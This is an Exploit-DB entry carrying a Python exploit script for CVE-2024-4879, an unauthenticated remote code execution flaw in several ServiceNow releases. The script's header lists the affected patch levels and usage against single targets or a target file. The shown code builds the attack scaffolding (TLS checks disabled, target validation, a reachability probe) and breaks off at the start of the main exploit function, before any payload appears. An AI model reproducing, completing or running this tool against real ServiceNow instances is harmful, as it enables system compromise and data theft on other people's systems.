Exploit-DB #52410
Description: ServiceNow Multiple Versions - Input Validation & Template Injection
Type: webapps
Platform: multiple
Date: 2025-08-11
Author: İbrahimsql

Exploit:
#!/usr/bin/env python3
"""
# Title : ServiceNow Multiple Versions - Input Validation & Template Injection
# Date: 2025-01-31
# Author: ibrahimsql
# Vendor: ServiceNow
# Version: Vancouver, Washington DC, Utah (various patches)
# affected from 0 before Utah Patch 10 Hot Fix 3 
# affected from 0 before Utah Patch 10a Hot Fix 2 
# affected from 0 before Vancouver Patch 6 Hot Fix 2 
# affected from 0 before Vancouver Patch 7 Hot Fix 3b 
# affected from 0 before Vancouver Patch 8 Hot Fix 4 
# affected from 0 before Vancouver Patch 9 
# affected from 0 before Vancouver Patch 10 
# affected from 0 before Washington DC Patch 1 Hot Fix 2b 
# affected from 0 before Washington DC Patch 2 Hot Fix 2 
# affected from 0 before Washington DC Patch 3 Hot Fix 1 
# affected from 0 before Washington DC Patch 4
# Tested on: ServiceNow Platform
# CVE: CVE-2024-4879
# Category: Input Validation
# CVSS Score: 9.8 (Critical)
# CWE: CWE-20 (Improper Input Validation)

# Description:
# ServiceNow Platform contains an input validation vulnerability that allows
# unauthenticated remote code execution. The vulnerability affects Vancouver,
# Washington DC, and Utah releases of the Now Platform.

# Impact:
# - Unauthenticated remote code execution
# - Complete system compromise
# - Data exfiltration
# - Service disruption

# Requirements:
# - requests>=2.25.1
# - colorama>=0.4.4
# - urllib3

# Usage:
# python3 CVE-2024-4879.py -t https://target.service-now.com
# python3 CVE-2024-4879.py -f targets.txt
"""

from colorama import Fore, Style, init
import requests
import argparse
import urllib3
import concurrent.futures
import sys
import re
from urllib.parse import urlparse

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Colors:
    RED = Fore.RED
    GREEN = Fore.GREEN
    YELLOW = Fore.YELLOW
    BLUE = Fore.BLUE
    WHITE = Fore.WHITE
    CYAN = Fore.CYAN
    MAGENTA = Fore.MAGENTA
    RESET = Style.RESET_ALL

banner = f"""
{Colors.CYAN}
 ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó    ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚ēó      ‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó 
‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ    ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĎ  ‚Ėą‚Ėą‚ēĎ      ‚Ėą‚Ėą‚ēĎ  ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó
‚Ėą‚Ėą‚ēĎ     ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚Ėą‚Ėą‚ēĎ ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ    ‚Ėą‚Ėą‚ēĒ‚ēĚ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ
‚Ėą‚Ėą‚ēĎ     ‚ēö‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēĚ ‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēĒ‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ
‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó    ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó     ‚Ėą‚Ėą‚ēĎ           ‚Ėą‚Ėą‚ēĎ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ   ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ
 ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ    ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ     ‚ēö‚ēź‚ēĚ           ‚ēö‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ    ‚ēö‚ēź‚ēĚ   ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ
{Colors.RESET}
{Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET}
{Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET}
"""

class ServiceNowExploit:
    def __init__(self, timeout=10, verbose=False):
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        
    def _log(self, level, message, url=""):
        """Enhanced logging with colors and levels"""
        timestamp = "[*]"
        if level == "success":
            print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "error":
            print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "info":
            print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "verbose" and self.verbose:
            print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
    
    def validate_url(self, url):
        """Validate and normalize URL format"""
        if not url.startswith(('http://', 'https://')):
            url = f"https://{url}"
        
        try:
            parsed = urlparse(url)
            if not parsed.netloc:
                return None
            return url
        except Exception:
            return None
    
    def check_target_reachability(self, url):
        """Check if target is reachable"""
        try:
            response = self.session.get(url, timeout=self.timeout)
            if response.status_code == 200:
                self._log("info", "Target is reachable", url)
                return True
            else:
                self._log("warning", f"Target returned status {response.status_code}", url)
                return False
        except requests.exceptions.RequestException as e:
            self._log("error", f"Target unreachable: {str(e)}", url)
            return False
    
    def exploit_vulnerability(self, url):
        """Main exploit function for CVE-2024-4879"""
        try:
            # No